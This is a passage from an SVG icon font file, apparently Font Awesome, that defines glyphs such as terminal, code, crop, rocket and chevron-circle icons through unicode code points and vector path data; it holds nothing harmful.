c-26.3994 4.59961 -49.8994 13.8994 -73.5996 21.2998v-67.4004c-25.2002 7 -46.6006 9.40039 -73.6006 5.7002v71.6006c-23.5 -2.2002 -40.3994 -9.80078 -73.5996 -22v-70.5c29 10.6992 51.2002 17.7998 73.5996 20.8994v-70c32.8008 3 53.9004 0.600586 73.6006 -3.7998
v-68.5c26.2998 -4.59961 49.7002 -13.9004 73.5996 -21.2998v67.3994c25.7002 -7.09961 46.6006 -9.2998 73.6006 -5.59961v-71.5996c25.0996 2.39941 48.5 11 73.5996 27.0996v70.5c-22.2002 -14.2002 -48.7998 -22.5996 -73.5996 -26v71.0996
c27.2998 4.40039 50 14.1006 73.5996 23.9004z" />
    <glyph glyph-name="terminal" unicode="&#xf120;" horiz-adv-x="640" 
d="M257.981 175.029l-194.344 -194.344c-9.37305 -9.37207 -24.5684 -9.37207 -33.9404 0l-22.668 22.667c-9.35742 9.35742 -9.375 24.5225 -0.0400391 33.9014l154.021 154.746l-154.021 154.745c-9.33496 9.37891 -9.31738 24.5439 0.0400391 33.9014l22.667 22.667
c9.37305 9.37207 24.5684 9.37207 33.9404 0l194.344 -194.344c9.37207 -9.37207 9.37207 -24.5674 0 -33.9404zM640 -8c0 -13.2549 -10.7451 -24 -24 -24h-304c-13.2549 0 -24 10.7451 -24 24v32c0 13.2549 10.7451 24 24 24h304c13.2549 0 24 -10.7451 24 -24v-32z" />
    <glyph glyph-name="code" unicode="&#xf121;" horiz-adv-x="640" 
d="M278.9 -63.5l-61 17.7002c-6.40039 1.7998 -10 8.5 -8.2002 14.8994l136.5 470.2c1.7998 6.40039 8.5 10 14.8994 8.2002l61 -17.7002c6.40039 -1.7998 10 -8.5 8.2002 -14.8994l-136.5 -470.2c-1.89941 -6.40039 -8.5 -10.1006 -14.8994 -8.2002zM164.9 48.7002
c-4.5 -4.90039 -12.1006 -5.10059 -17 -0.5l-144.101 135.1c-5.09961 4.7002 -5.09961 12.7998 0 17.5l144.101 135c4.89941 4.60059 12.5 4.2998 17 -0.5l43.5 -46.3994c4.69922 -4.90039 4.2998 -12.7002 -0.800781 -17.2002l-90.5996 -79.7002l90.5996 -79.7002
c5.10059 -4.5 5.40039 -12.2998 0.800781 -17.2002zM492.1 48.0996c-4.89941 -4.5 -12.5 -4.2998 -17 0.600586l-43.5 46.3994c-4.69922 4.90039 -4.2998 12.7002 0.800781 17.2002l90.5996 79.7002l-90.5996 79.7998c-5.10059 4.5 -5.40039 12.2998 -0.800781 17.2002
l43.5 46.4004c4.60059 4.7998 12.2002 5 17 0.5l144.101 -135.2c5.09961 -4.7002 5.09961 -12.7998 0 -17.5z" />
    <glyph glyph-name="reply-all" unicode="&#xf122;" horiz-adv-x="576" 
d="M136.309 258.164l176.005 151.985c15.4062 13.3047 39.6865 2.50293 39.6865 -18.1641v-82.7637c129.182 -10.2305 224 -52.2119 224 -183.548c0 -61.4404 -39.582 -122.309 -83.333 -154.132c-13.6533 -9.93066 -33.1113 2.5332 -28.0771 18.6309
c38.5117 123.162 -3.92188 169.482 -112.59 182.016v-84.1758c0 -20.7012 -24.2998 -31.4531 -39.6865 -18.1641l-176.005 151.987c-11.0703 9.56152 -11.0859 26.7529 0 36.3281zM8.30859 221.836c-11.0703 9.56152 -11.0859 26.7529 0 36.3281l176.005 151.985
c15.4062 13.3047 39.6865 2.50293 39.6865 -18.1641v-15.8174l-108.607 -93.7861c-10.7041 -9.23926 -19.3926 -28.2158 -19.3926 -42.3564v-0.0234375v-0.0244141c0 -14.1416 8.68848 -33.1191 19.3936 -42.3604l108.606 -93.7852v-15.8184
c0 -20.7002 -24.2998 -31.4531 -39.6865 -18.1641z" />
    <glyph glyph-name="location-arrow" unicode="&#xf124;" 
d="M444.52 444.48c38.3809 16 79.9609 -25.5801 63.9707 -63.9707l-191.9 -415.779c-22.3896 -47.9805 -92.75 -31.9805 -92.75 19.1895v175.91h-175.91c-51.1699 0 -67.1602 70.3604 -19.1895 92.75z" />
    <glyph glyph-name="crop" unicode="&#xf125;" 
d="M488 96c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-40v-40c0 -13.25 -10.75 -24 -24 -24h-48c-13.25 0 -24 10.75 -24 24v282.75l-146.75 -146.75h114.75v-96h-232c-13.25 0 -24 10.75 -24 24v264h-40c-13.25 0 -24 10.75 -24 24v48
c0 13.2598 10.75 24 24 24h40v40c0 13.2598 10.75 24 24 24h48c13.25 0 24 -10.7402 24 -24v-282.75l146.75 146.75h-114.75v96h210.75l59.3096 59.3096c6.25 6.25 16.3809 6.25 22.6309 0l22.6191 -22.6191c6.25 -6.25 6.25 -16.3809 0 -22.6309l-59.3096 -59.3096v-242.75
h40z" />
    <glyph glyph-name="code-branch" unicode="&#xf126;" horiz-adv-x="384" 
d="M384 304c0 -35.2002 -22.7998 -65.0996 -54.4004 -75.9004c-0.5 -28.0996 -7.59961 -50.5 -21.5996 -67.8994c-28.2002 -35 -76 -39.5 -118.2 -43.4004c-25.7002 -2.39941 -49.8994 -4.59961 -66.0996 -12.7998c-7.10059 -3.59961 -11.7998 -8.2002 -14.9004 -13.4004
c30 -11.5 51.2002 -40.5996 51.2002 -74.5996c0 -44.2002 -35.7998 -80 -80 -80s-80 35.7998 -80 80c0 35.7998 23.5 66.0996 56 76.4004v199.3c-32.5 10.2002 -56 40.5 -56 76.2998c0 44.2002 35.7998 80 80 80s80 -35.7998 80 -80c0 -35.7998 -23.5 -66.0996 -56 -76.2998
v-144c23.9004 11.5 53.0996 14.2998 81.2998 16.8994c35.9004 3.30078 69.7998 6.5 85.2002 25.7002c6.7998 8.40039 10.4004 20.7998 11 36.9004c-33.2002 9.7002 -57.5 40.3994 -57.5 76.7998c0 44.2002 35.7998 80 80 80s80 -35.7998 80 -80zM80 384
c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16s16 7.2002 16 16s-7.2002 16 -16 16zM80 0c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM304 320c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16s16 7.2002 16 16
s-7.2002 16 -16 16z" />
    <glyph glyph-name="unlink" unicode="&#xf127;" 
d="M304.083 42.0928c4.68555 -4.68555 4.68555 -12.2842 0 -16.9707l-44.6738 -44.6738c-59.2627 -59.2627 -155.693 -59.2666 -214.961 0c-59.2646 59.2646 -59.2646 155.695 0 214.96l44.6748 44.6748c4.68555 4.68555 12.2842 4.68555 16.9707 0l39.5986 -39.5977
c4.68555 -4.68652 4.68555 -12.2842 0 -16.9717l-44.6758 -44.6738c-28.0713 -28.0732 -28.0713 -73.75 0 -101.823c28.0723 -28.0713 73.75 -28.0723 101.824 0l44.6738 44.6748c4.68652 4.68555 12.2842 4.68555 16.9717 0zM247.515 302.309l-39.5967 39.5986
c-4.68555 4.68652 -4.68555 12.2852 0 16.9707l44.6738 44.6738c59.2666 59.2646 155.695 59.2646 214.961 0s59.2656 -155.694 0 -214.96l-44.6748 -44.6748c-4.68652 -4.68555 -12.2852 -4.68555 -16.9707 0l-39.5986 39.5977c-4.68555 4.6875 -4.68555 12.2852 0 16.9717
l44.6758 44.6738c28.0713 28.0732 28.0713 73.75 0 101.823c-28.0742 28.0723 -73.752 28.0742 -101.824 0l-44.6738 -44.6748c-4.6875 -4.68555 -12.2852 -4.68555 -16.9717 0zM482.343 -56.9707c-9.37207 -9.37207 -24.5674 -9.37207 -33.9404 0l-441.373 441.373
c-9.37305 9.37207 -9.37305 24.5674 0 33.9404l22.6279 22.6279c9.37207 9.37305 24.5674 9.37305 33.9404 0l441.372 -441.374c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404z" />
    <glyph glyph-name="question" unicode="&#xf128;" horiz-adv-x="384" 
d="M202.021 448c84.8809 0 175.482 -66.2559 175.481 -153.6c0 -115.982 -125.268 -117.768 -125.268 -160.627v-5.77344c0 -13.2549 -10.7451 -24 -24 -24h-72.4717c-13.2549 0 -24 10.7451 -24 24v9.78809c0 61.8291 46.876 86.5449 82.2998 106.405
c30.376 17.0293 48.9922 28.6113 48.9922 51.1641c0 29.832 -38.0518 49.6309 -68.8154 49.6309c-39.127 0 -57.708 -18.0684 -82.7568 -49.4492c-8.12109 -10.1738 -22.8809 -12.0127 -33.2529 -4.14844l-43.1387 32.709c-10.2705 7.78809 -12.541 22.2939 -5.17773 32.874
c40.5889 58.3232 92.2881 91.0264 172.107 91.0264zM192 74.541c38.1963 0 69.2715 -31.0742 69.2715 -69.2695c0 -38.1963 -31.0752 -69.2715 -69.2715 -69.2715s-69.2715 31.0752 -69.2715 69.2695c0 38.1963 31.0752 69.2715 69.2715 69.2715z" />
    <glyph glyph-name="info" unicode="&#xf129;" horiz-adv-x="192" 
d="M20 23.7715h20v144.457h-20c-11.0459 0 -20 8.9541 -20 20v47.7715c0 11.0459 8.9541 20 20 20h112c11.0459 0 20 -8.9541 20 -20v-212.229h20c11.0459 0 20 -8.9541 20 -20v-47.7715c0 -11.0459 -8.9541 -20 -20 -20h-152c-11.0459 0 -20 8.9541 -20 20v47.7715
c0 11.0459 8.9541 20 20 20zM96 448c39.7637 0 72 -32.2354 72 -72s-32.2354 -72 -72 -72s-72 32.2354 -72 72s32.2354 72 72 72z" />
    <glyph glyph-name="exclamation" unicode="&#xf12a;" horiz-adv-x="192" 
d="M176 16c0 -44.1123 -35.8877 -80 -80 -80s-80 35.8877 -80 80s35.8877 80 80 80s80 -35.8877 80 -80zM25.2598 422.801c-0.68457 13.709 10.2441 25.1992 23.9707 25.1992h93.5391c13.7266 0 24.6553 -11.4902 23.9707 -25.1992l-13.6006 -272
c-0.638672 -12.7725 -11.1807 -22.8008 -23.9697 -22.8008h-66.3398c-12.7891 0 -23.3311 10.0283 -23.9697 22.8008z" />
    <glyph glyph-name="superscript" unicode="&#xf12b;" 
d="M496 288c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-96c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h16v96h-16c-8.82422 0.0078125 -15.9863 7.17578 -15.9863 16c0 2.08984 0.759766 5.30176 1.69629 7.16992l16 32
c2.44141 4.87012 8.84277 8.8252 14.29 8.83008h48c8.83203 0 16 -7.16797 16 -16v-144h16zM336 384c8.83203 0 16 -7.16797 16 -16v-48c0 -8.83203 -7.16797 -16 -16 -16h-33.4805l-77.8096 -112l77.8096 -112h33.4805c8.83203 0 16 -7.16797 16 -16v-48
c0 -8.83203 -7.16797 -16 -16 -16h-67c-4.58984 0.0224609 -10.4404 3.10059 -13.0596 6.87012l-79.9004 115l-79.9004 -115c-2.63477 -3.79199 -8.52148 -6.87012 -13.1387 -6.87012h-0.000976562h-67c-8.83203 0 -16 7.16797 -16 16v48c0 8.83203 7.16797 16 16 16
h33.4805l77.8096 112l-77.8096 112h-33.4805c-8.83203 0 -16 7.16797 -16 16v48c0 8.83203 7.16797 16 16 16h67c4.58984 -0.0224609 10.4404 -3.10059 13.0596 -6.87012l79.9004 -115l79.9004 115c2.63477 3.79199 8.52148 6.87012 13.1387 6.87012h0.000976562h67z" />
    <glyph glyph-name="subscript" unicode="&#xf12c;" 
d="M496 0c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-96c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h16v96h-16c-8.82422 0.0078125 -15.9863 7.17578 -15.9863 16c0 2.08984 0.759766 5.30176 1.69629 7.16992l16 32
c2.44141 4.87012 8.84277 8.8252 14.29 8.83008h48c8.83203 0 16 -7.16797 16 -16v-144h16zM336 384c8.83203 0 16 -7.16797 16 -16v-48c0 -8.83203 -7.16797 -16 -16 -16h-33.4805l-77.8096 -112l77.8096 -112h33.4805c8.83203 0 16 -7.16797 16 -16v-48
c0 -8.83203 -7.16797 -16 -16 -16h-67c-4.58984 0.0224609 -10.4404 3.10059 -13.0596 6.87012l-79.9004 115l-79.9004 -115c-2.63477 -3.79199 -8.52148 -6.87012 -13.1387 -6.87012h-0.000976562h-67c-8.83203 0 -16 7.16797 -16 16v48c0 8.83203 7.16797 16 16 16
h33.4805l77.8096 112l-77.8096 112h-33.4805c-8.83203 0 -16 7.16797 -16 16v48c0 8.83203 7.16797 16 16 16h67c4.58984 -0.0224609 10.4404 -3.10059 13.0596 -6.87012l79.9004 -115l79.9004 115c2.63477 3.79199 8.52148 6.87012 13.1387 6.87012h0.000976562h67z" />
    <glyph glyph-name="eraser" unicode="&#xf12d;" 
d="M497.941 174.059l-142.059 -142.059h144.117c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-356c-10.9756 0 -26.1816 6.29883 -33.9424 14.0586l-96 96c-18.7441 18.7451 -18.7441 49.1377 0 67.8828l256 256
c18.7471 18.7451 49.1387 18.7441 67.8838 0l160 -160c18.7441 -18.7451 18.7441 -49.1377 0 -67.8828zM195.314 236.686l-124.687 -124.686l80 -80h114.745l67.3135 67.3135z" />
    <glyph glyph-name="puzzle-piece" unicode="&#xf12e;" horiz-adv-x="576" 
d="M519.442 159.349c37.5957 0 56.5576 -31.5928 56.5576 -65.792c0 -33.5469 -19.2881 -61.5566 -54.9229 -61.5557c-39.8848 0 -50.3457 36.1523 -86.3086 36.1523c-60.5518 0 -25.8262 -120.102 -25.8262 -120.102c-51.5557 0 -181.23 -35.0732 -181.23 25.7305
c0 35.8271 36.2881 46.25 36.2881 85.9844c0 35.501 -28.1152 54.7178 -61.7881 54.7178c-34.3271 0 -63.5771 -18.8906 -63.5771 -56.3467c0 -41.3633 40 -58.998 40 -81.4707c0 -69.709 -178.635 -28.6621 -178.635 -28.6621v333.237s175.885 -40.9609 175.884 28.6621
c0 22.4727 -31.7109 40.3857 -31.7109 81.75c0 37.4551 31.7119 56.3457 66.3662 56.3457c33.3457 0 61.4609 -19.2158 61.4609 -54.7178c0 -39.7354 -36.2881 -50.1582 -36.2881 -85.9854c0 -83.2969 196.288 -3.29688 196.288 -3.29688
s-54.5908 -176.244 5.38379 -176.244c22.5586 0 40.5391 31.5928 82.0586 31.5928z" />
    <glyph glyph-name="microphone" unicode="&#xf130;" horiz-adv-x="352" 
d="M176 96c-53.0195 0 -96 42.9805 -96 96v160c0 53.0195 42.9805 96 96 96s96 -42.9805 96 -96v-160c0 -53.0195 -42.9805 -96 -96 -96zM336 256c8.83984 0 16 -7.16016 16 -16v-48c0 -88.9004 -66.29 -162.47 -152 -174.23v-33.7695h56c8.83984 0 16 -7.16016 16 -16v-16
c0 -8.83984 -7.16016 -16 -16 -16h-160c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h56v34.1504c-88.0303 12.1396 -152 92.0498 -152 181.689v40.1602c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-42.2998
c0 -66.8105 48.71 -126.59 115.21 -133.08c76.2998 -7.44043 140.79 52.5801 140.79 127.38v48c0 8.83984 7.16016 16 16 16h16z" />
    <glyph glyph-name="microphone-slash" unicode="&#xf131;" horiz-adv-x="640" 
d="M633.82 -10.0996c6.97949 -5.43066 8.22949 -15.4805 2.81934 -22.4502l-19.6396 -25.2705c-5.42969 -6.97949 -15.4805 -8.23926 -22.46 -2.80957l-588.36 454.729c-6.97949 5.43066 -8.22949 15.4805 -2.80957 22.4502l19.6396 25.2705
c5.41992 6.97949 15.4805 8.22949 22.46 2.80957l178.54 -137.99v45.3604c0 53.0195 42.9805 96 96 96c53.0205 0 96 -42.9805 96 -96v-160.01c0 -10.4502 -2.17969 -20.2705 -5.2793 -29.6699l26.5498 -20.5205c6.75977 15.4004 10.7197 32.2803 10.7197 50.2002v48
c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-48c0 -29.0098 -7.38965 -56.1299 -19.9805 -80.1396zM400 -16c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-160c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h56
v34.1504c-88.0303 12.1396 -152 92.0498 -152 181.689v6.85059l52.0303 -40.2305c12.4395 -53.2197 55.3301 -96.4004 111.18 -101.85c6.94043 -0.669922 13.6396 -0.200195 20.3496 0.199219l50.1104 -38.7295c-10.8203 -3.77051 -22.0098 -6.70996 -33.6699 -8.31055
v-33.7695h56z" />
    <glyph glyph-name="calendar" unicode="&#xf133;" horiz-adv-x="448" 
d="M12 256h424c6.59961 0 12 -5.40039 12 -12v-260c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v260c0 6.59961 5.40039 12 12 12zM448 300c0 -6.59961 -5.40039 -12 -12 -12h-424c-6.59961 0 -12 5.40039 -12 12v36c0 26.5 21.5 48 48 48h48v52
c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48v-36z" />
    <glyph glyph-name="fire-extinguisher" unicode="&#xf134;" horiz-adv-x="448" 
d="M434.027 421.671c7.31445 1.21875 13.9727 -4.4209 13.9727 -11.8369v-115.668c0 -7.41602 -6.6582 -13.0557 -13.9727 -11.8369l-168 28c-11.7305 1.95508 -10.0273 14.6973 -10.0273 17.6709h-40v-27.0303c41.4043 -10.6582 72 -48.2383 72 -92.9697v-248
c0 -13.2549 -10.7451 -24 -24 -24h-144c-13.2549 0 -24 10.7451 -24 24v246.795c0 44.8945 30.457 83.2666 72 94.1289v27.0762c-61.0361 0 -92.9424 7.00977 -121.711 -64.9141c-4.91699 -12.2949 -18.8789 -18.2959 -31.1963 -13.3701
c-12.3066 4.92285 -18.293 18.8906 -13.3701 31.1973c14.668 36.6709 38.0107 77.833 90.0498 90.8838c-14.1406 36.5273 12.793 76.2031 52.2275 76.2031c37.4463 0 64.3525 -36.1084 53.668 -72h58.332c0 4.2002 -1.30664 15.7822 10.0273 17.6709zM144 376
c8.82227 0 16 7.17773 16 16s-7.17773 16 -16 16s-16 -7.17773 -16 -16s7.17773 -16 16 -16z" />
    <glyph glyph-name="rocket" unicode="&#xf135;" 
d="M505.05 428.9c6.9502 -32.2002 6.9502 -57.4004 6.85059 -82.6006c0 -102.689 -55.4102 -164.79 -128 -211.09v-104.41v-0.0400391c0 -16.3516 -11.8721 -35.5527 -26.5 -42.8594l-98.7002 -49.3906c-2.79004 -1.38965 -7.58398 -2.5166 -10.7002 -2.5166
c-13.248 0 -24 10.752 -24 24v0.00683594v103.84l-22.4697 -22.4697c-5.17383 -5.1748 -15.3125 -9.375 -22.6299 -9.375c-7.31836 0 -17.4561 4.2002 -22.6309 9.375l-50.8994 50.9102c-5.17285 5.17285 -9.37012 15.3096 -9.37012 22.625s4.19727 17.4512 9.37012 22.625
l22.4697 22.4697h-103.77h-0.0126953c-13.248 0 -24 10.752 -24 24c0 3.12012 1.12988 7.91797 2.52246 10.71l49.4199 98.7998c7.32324 14.6094 26.5283 26.4766 42.8701 26.4902h104.2c46.1895 72.7998 108.09 128 211.29 128c25.0996 0 50.29 0 82.4893 -6.90039
c5.54395 -1.19043 11.0098 -6.65527 12.2002 -12.1992zM384 280c22.0801 0 40 17.9199 40 40s-17.9199 40 -40 40s-40 -17.9199 -40 -40s17.9199 -40 40 -40z" />
    <glyph glyph-name="chevron-circle-left" unicode="&#xf137;" 
d="M256 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM142.1 175l135.5 -135.5c9.40039 -9.40039 24.6006 -9.40039 33.9004 0l17 17c9.40039 9.40039 9.40039 24.5996 0 33.9004l-101.6 101.6l101.6 101.6
c9.40039 9.40039 9.40039 24.6006 0 33.9004l-17 17c-9.40039 9.40039 -24.5996 9.40039 -33.9004 0l-135.5 -135.5c-9.39941 -9.40039 -9.39941 -24.5996 0 -34z" />
    <glyph glyph-name="chevron-circle-right" unicode="&#xf138;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM369.9 209l-135.5 135.5c-9.40039 9.40039 -24.6006 9.40039 -33.9004 0l-17 -17c-9.40039 -9.40039 -9.40039 -24.5996 0 -33.9004l101.6 -101.6l-101.6 -101.6
c-9.40039 -9.40039 -9.40039 -24.6006 0 -33.9004l17 -17c9.40039 -9.40039 24.5996 -9.40039 33.9004 0l135.5 135.5c9.39941 9.40039 9.39941 24.5996 0 34z" />
    <glyph glyph-name="chevron-circle-up" unicode="&#xf139;" 
d="M8 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM239 305.9l-135.5 -135.5c-9.40039 -9.40039 -9.40039 -24.6006 0 -33.9004l17 -17c9.40039 -9.40039 24.5996 -9.40039 33.9004 0l101.6 101.6l101.6 -101.6
c9.40039 -9.40039 24.6006 -9.40039 33.9004 0l17 17c9.40039 9.40039 9.40039 24.5996 0 33.9004l-135.5 135.5c-9.40039 9.39941 -24.5996 9.39941 -34 0z" />
    <glyph glyph-name="chevron-circle-down" unicode="&#xf13a;" 
d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM273 78.0996l135.5 135.5c9.40039 9.40039 9.40039 24.6006 0 33.9004l-17 17c-9.40039 9.40039 -24.5996 9.40039 -33.9004 0l-101.6 -101.6l-101.6 101.6
c-9.40039 9.40039 -24.6006 9.40039 -33.9004 0l-17 -17c-9.40039 -9.40039 -9.40039 -24.5996 0 -33.9004l135.5 -135.5c9.40039 -9.39941 24.5996 -9.39941 34 0z" />
    <glyph glyph-name="anchor" unicode="&#xf13d;" horiz-adv-x="576" 
d="M12.9707 96c-10.6904 0 -16.0449 12.9258 -8.48535 20.4854l67.0283 67.0283c4.6875 4.68652 12.2852 4.68652 16.9717 0l67.0283 -67.0283c7.56055 -7.55957 2.20605 -20.4854 -8.48438 -20.4854h-35.1465c20.2969 -54.3359 85.1816 -86.6162 144.117 -94.0146v190.015
h-52c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h52v5.46973c-37.2842 13.1807 -64 48.7324 -64 90.5303c0 53.4746 43.7227 96.7393 97.3701 95.9902c52.2354 -0.728516 94.6348 -43.7627 94.6289 -96.002
c-0.00488281 -41.793 -26.7188 -77.3398 -64 -90.5186v-5.46973h52c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-52v-190.015c59.1543 7.42676 123.827 39.6973 144.117 94.0146h-35.1465c-10.6904 0 -16.0449 12.9248 -8.48438 20.4854
l67.0283 67.0283c4.6875 4.68652 12.2852 4.68652 16.9717 0l67.0283 -67.0283c7.56055 -7.55957 2.20605 -20.4854 -8.48438 -20.4854h-32.3945c-21.7822 -102.62 -136.406 -160 -242.635 -160c-106.056 0 -220.828 57.2646 -242.635 160h-32.3945zM288 384
c-17.6445 0 -32 -14.3555 -32 -32s14.3555 -32 32 -32s32 14.3555 32 32s-14.3555 32 -32 32z" />
    <glyph glyph-name="unlock-alt" unicode="&#xf13e;" horiz-adv-x="448" 
d="M400 192c26.5 0 48 -21.5 48 -48v-160c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v160c0 26.5 21.5 48 48 48h24v102.5c0 84 67.5 153.2 151.5 153.5s152.5 -68 152.5 -152v-16c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v16
c0 39.9004 -32.7002 72.4004 -72.7002 72c-39.5996 -0.400391 -71.2998 -33.2998 -71.2998 -72.9004v-103.1h248zM264 40v48c0 22.0996 -17.9004 40 -40 40s-40 -17.9004 -40 -40v-48c0 -22.0996 17.9004 -40 40 -40s40 17.9004 40 40z" />
    <glyph glyph-name="bullseye" unicode="&#xf140;" horiz-adv-x="496" 
d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM248 8c101.71 0 184 82.3096 184 184c0 101.71 -82.3096 184 -184 184c-101.71 0 -184 -82.3096 -184 -184c0 -101.71 82.3096 -184 184 -184zM248 320
c70.6904 0 128 -57.3096 128 -128s-57.3096 -128 -128 -128s-128 57.3096 -128 128s57.3096 128 128 128zM248 128c35.29 0 64 28.71 64 64s-28.71 64 -64 64s-64 -28.71 -64 -64s28.71 -64 64 -64z" />
    <glyph glyph-name="ellipsis-h" unicode="&#xf141;" 
d="M328 192c0 -39.7998 -32.2002 -72 -72 -72s-72 32.2002 -72 72s32.2002 72 72 72s72 -32.2002 72 -72zM432 264c39.7998 0 72 -32.2002 72 -72s-32.2002 -72 -72 -72s-72 32.2002 -72 72s32.2002 72 72 72zM80 264c39.7998 0 72 -32.2002 72 -72s-32.2002 -72 -72 -72
s-72 32.2002 -72 72s32.2002 72 72 72z" />
    <glyph glyph-name="ellipsis-v" unicode="&#xf142;" horiz-adv-x="192" 
d="M96 264c39.7998 0 72 -32.2002 72 -72s-32.2002 -72 -72 -72s-72 32.2002 -72 72s32.2002 72 72 72zM24 368c0 39.7998 32.2002 72 72 72s72 -32.2002 72 -72s-32.2002 -72 -72 -72s-72 32.2002 -72 72zM24 16c0 39.7998 32.2002 72 72 72s72 -32.2002 72 -72
s-32.2002 -72 -72 -72s-72 32.2002 -72 72z" />
    <glyph glyph-name="rss-square" unicode="&#xf143;" horiz-adv-x="448" 
d="M400 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352zM112 32c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM269.533 32
c6.53516 0 11.7764 5.46777 11.4248 11.9941c-5.9668 110.428 -94.418 198.99 -204.964 204.964c-6.52637 0.351562 -11.9941 -4.88965 -11.9941 -11.4248v-34.335c0 -6.00977 4.63574 -11.0508 10.6328 -11.4414c79.8799 -5.20312 143.909 -69.0732 149.123 -149.123
c0.391602 -5.99805 5.43066 -10.6338 11.4424 -10.6338h34.335zM372.56 32c6.4541 0 11.6641 5.33789 11.4326 11.7871c-5.99512 167.014 -140.375 302.18 -308.205 308.205c-6.44922 0.231445 -11.7871 -4.97852 -11.7871 -11.4326v-34.334
c0 -6.16016 4.88184 -11.1748 11.0391 -11.4277c136.556 -5.59863 246.162 -115.225 251.76 -251.76c0.251953 -6.15625 5.2666 -11.0381 11.4268 -11.0381h34.334z" />
    <glyph glyph-name="play-circle" unicode="&#xf144;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM371.7 168c16.3994 9.09961 16.3994 32.7998 0 42l-176 107c-15.9004 8.7998 -35.7002 -2.59961 -35.7002 -21v-208c0 -18.5 19.9004 -29.7998 35.7002 -21z" />
    <glyph glyph-name="minus-square" unicode="&#xf146;" horiz-adv-x="448" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM92 152h264c6.59961 0 12 5.40039 12 12v56c0 6.59961 -5.40039 12 -12 12h-264c-6.59961 0 -12 -5.40039 -12 -12v-56
c0 -6.59961 5.40039 -12 12 -12z" />
    <glyph glyph-name="check-square" unicode="&#xf14a;" horiz-adv-x="448" 
d="M400 -32h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48zM195.314 66.0586l184 184c6.24707 6.24805 6.24707 16.3799 0 22.627l-22.6279 22.6279
c-6.24707 6.24707 -16.3789 6.24805 -22.6279 0l-150.059 -150.059l-70.0586 70.0596c-6.24805 6.24707 -16.3799 6.24707 -22.6279 0l-22.6279 -22.6279c-6.24707 -6.24707 -6.24707 -16.3789 0 -22.627l104 -104c6.24902 -6.25 16.3799 -6.25 22.6289 -0.000976562z" />
    <glyph glyph-name="pen-square" unicode="&#xf14b;" horiz-adv-x="448" 
d="M400 -32h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48zM238.1 270.1l-135.699 -135.699l-6.30078 -57.1006c-0.799805 -7.59961 5.60059 -14.0996 13.3008 -13.2998l57.0996 6.2998l135.7 135.7
c2.2998 2.2998 2.2998 6.09961 0 8.5l-55.5 55.5c-2.5 2.40039 -6.2998 2.40039 -8.60059 0.0996094zM345 282.9l-30.0996 30.0996c-9.40039 9.40039 -24.6006 9.40039 -33.9004 0l-23.0996 -23.0996c-2.30078 -2.30078 -2.30078 -6.10059 0 -8.5l55.5 -55.5
c2.2998 -2.30078 6.09961 -2.30078 8.5 0l23.0996 23.0996c9.2998 9.2998 9.2998 24.5 0 33.9004z" />
    <glyph glyph-name="share-square" unicode="&#xf14d;" horiz-adv-x="576" 
d="M568.482 270.552l-144.004 -135.984c-15.1787 -14.335 -40.4785 -3.70703 -40.4785 17.4473v71.9629c-144.575 -0.969727 -205.566 -35.1123 -164.775 -171.353c4.4834 -14.9727 -12.8457 -26.5674 -25.0059 -17.3301
c-38.9668 29.5996 -74.2188 86.2168 -74.2188 143.366c0 143.937 117.599 172.5 264 173.312v72.0156c0 21.1738 25.3174 31.7676 40.4785 17.4473l144.004 -135.987c10.0195 -9.46289 10.0273 -25.4248 0 -34.8965zM384 68.8721c0 7.34473 6.53027 12.9053 13.7998 11.8594
